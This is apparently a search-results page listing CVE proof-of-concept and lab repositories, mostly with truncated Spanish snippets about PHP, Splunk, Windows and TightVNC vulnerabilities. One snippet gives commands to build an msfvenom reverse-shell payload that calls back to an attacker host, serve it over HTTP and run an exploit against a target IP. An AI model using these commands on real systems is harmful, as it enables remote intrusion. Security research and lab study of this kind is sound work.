249641 matches found
CVE-2024-1874
CVE-2024-1874 Prueba de concepto para CVE-2024-1874 Inyección de comandos a través del parámetro $command tipo array de procopen bypass de la corrección de CVE-2024-1874 El CVE: En las versiones de PHP 8.1. anteriores a 8.1.29, 8.2. anteriores a 8.2.20, 8.3. anteriores a 8.3.8, la corrección para...
CVE-2024-36991
CVE-2024-36991 Path Traversal en el endpoint “/Modules/Messaging/” en Splunk Enterprise en Windows En versiones de Splunk Enterprise anteriores a 9.2.2, 9.1.5 y 9.0.10, un atacante podría realizar un path traversal en el endpoint /modules/messaging/ en Splunk Enterprise en Windows. La...
CVE-2022-26810
Exploit RCE CVE-2022-26809 Descripción de la CVE La CVE-2022-26809 es una debilidad en un componente central de Windows RPC que obtuvo una puntuación CVSS de 9.8 no sin razón, ya que el ataque no requiere autenticación y puede ejecutarse remotamente a través de la red, y puede resultar en la...
CVE-2025-0288
CVE-2025-0287 This repository contains a screenshot of the vulnerable function identified during reverse engineering of a vulnerable Windows driver. Description biontdrv.sysVul: vulnerable version biontdrv.sysSecure: patched version POCCVE-2025-0288.c: proof-of-concept code diff.png: screenshot o...
CVE-2022-26937
Windows Network File System Crash PoC CVE-2022-26937 nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical data structure. The...
cve-2022-3218
Paso 1 — Crear un payload REAL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Paso 2 — Servir el payload por HTTP En el mismo directorio: python3 -m http.server 80 Paso 3 — Ajustar el exploit Ejecuta así: python3 CVE-2022-3218.py 172.20.7.185...
CVE-2022-21971
CVE-2022-21971: Liberación de puntero no inicializado en prauthproviders Causa raíz El constructor WapAuthProvider::CreateInstance asigna e inicializa un objeto WapAuthProvider 0x78 bytes pero no logra inicializar completamente su estado. El puntero en el desplazamiento 0x50 no está inicializado ...
CVE-2025-5548-FreeFloat-FTP-Buffer-Overflow
CVE-2025-5548 — Buffer Overflow en FreeFloat FTP Server 1.0 Laboratorio de análisis y explotación de vulnerabilidades · Exploit Development · Windows x86 ¿De qué trata este repositorio? Este repositorio documenta de forma completa el proceso de análisis y explotación de la vulnerabilidad...
CVE-2023-21768
CVE-2023-21768 Local Privilege Escalation POC authors: chompie & b33f For demonstration purposes only. Complete exploit works on vulnerable Windows 11 22H2 systems. Write primitive works on all vulnerable systems. Usage: WindowsAFDLPECVE-2023-21768.exe where is the process ID in decimal of the...
RDGScanner
Escáner para CVE-2020-0609 y CVE-2020-0610 Un escáner de prueba de concepto para comprobar si un servidor de puerta de enlace RDP tiene las vulnerabilidades CVE-2020-0609 y CVE-2020-0610. Probado en: Windows Server 2012 x64 Windows Server 2016 x64 Windows Server 2019 x64 Descargo de responsabilid...
cve-2024-4577
Script de prueba para CVE-2024-4577 Este script de Python es una herramienta simple PoC Prueba de Concepto para diagnosticar la vulnerabilidad más reciente de PHP CVE-2024-4577. ⚠️ Esta herramienta se proporciona con fines de diagnóstico de seguridad y debe usarse solo en sistemas propios o en...
CVE-2026-107614
An integer underflow in WinCursorShapeUtils::trimTransparent in GlavSoft TightVNC Server for Windows before 2.8.88 allows a local authenticated user to crash the server, and potentially read out-of-bounds memory, by causing a cursor shape with a width or height of zero to be processed on the DXGI...
CVE-2026-107612
Incorrect permission assignment in GlavSoft TightVNC Server for Windows before 2.8.88 allows a local authenticated user to read or overwrite the inter-process communication handles used between the TightVNC service and its desktop server process. The named shared memory segment in the Global...
Microsoft-Defender-for-Endpoint-Deployment-on-Windows-10-11-device
Este repositorio documenta la implementación de Microsoft Defender for Endpoint en un dispositivo Windows 11, incluida la incorporación mediante script local, la habilitación de la detección de dispositivos, la configuración de la detección de Log4j2 CVE-2021-44228 y la validación de los flujos d...
Zerologon_CVE-2020-1472
ZerologonCVE-2020-1472 Objetivo Esta investigación de vulnerabilidades tenía como objetivo establecer un entorno controlado para simular un Zerologon en Windows Server 2016 a través de Kali Linux con fines de detección y mitigación. El enfoque principal era realizar una prueba de penetración de...
EFS_CVE-2021-43217
Vulnerabilidad de Bypass de EFSCVE-2021-43217 Objetivo Esta demostración de vulnerabilidad tuvo como objetivo establecer un entorno controlado para simular un bypass de EFS en Windows 10 mediante Kali Linux. El enfoque principal fue realizar una prueba de penetración de vulnerabilidad y mostrar l...
CVE-2021-24084
WindowsMDMLPE Demostración : https://youtu.be/o5PyVhj3eMw https://blog.0patch.com/2021/11/micropatching-unpatched-local-privilege.html...
C2-and-Post-Exploitation-Framework
Capstone Docker Lab Overview and Purpose The victim browses to a hosted webpage. The exploit initiates via shellcode embedded in utils.js runs client-side in the victim's browser via CVE-2021-21220. The shellcode runs on the victim's machine, calls the HTTPS delivery server, downloads...
CVE-2025-4322-Exploit
CVE-2025-4322 - Cambio de contraseña no verificado CWE-620 Exploit: Descargar aquí Detalles ID de CVE : CVE-2025-4322 Publicado : 05/20/2025 Impacto : Crítico CVSS : 9.8 Parche disponible: Aún no hay parche oficial Impacto Vulnerabilidad de gravedad crítica que permite a los atacantes...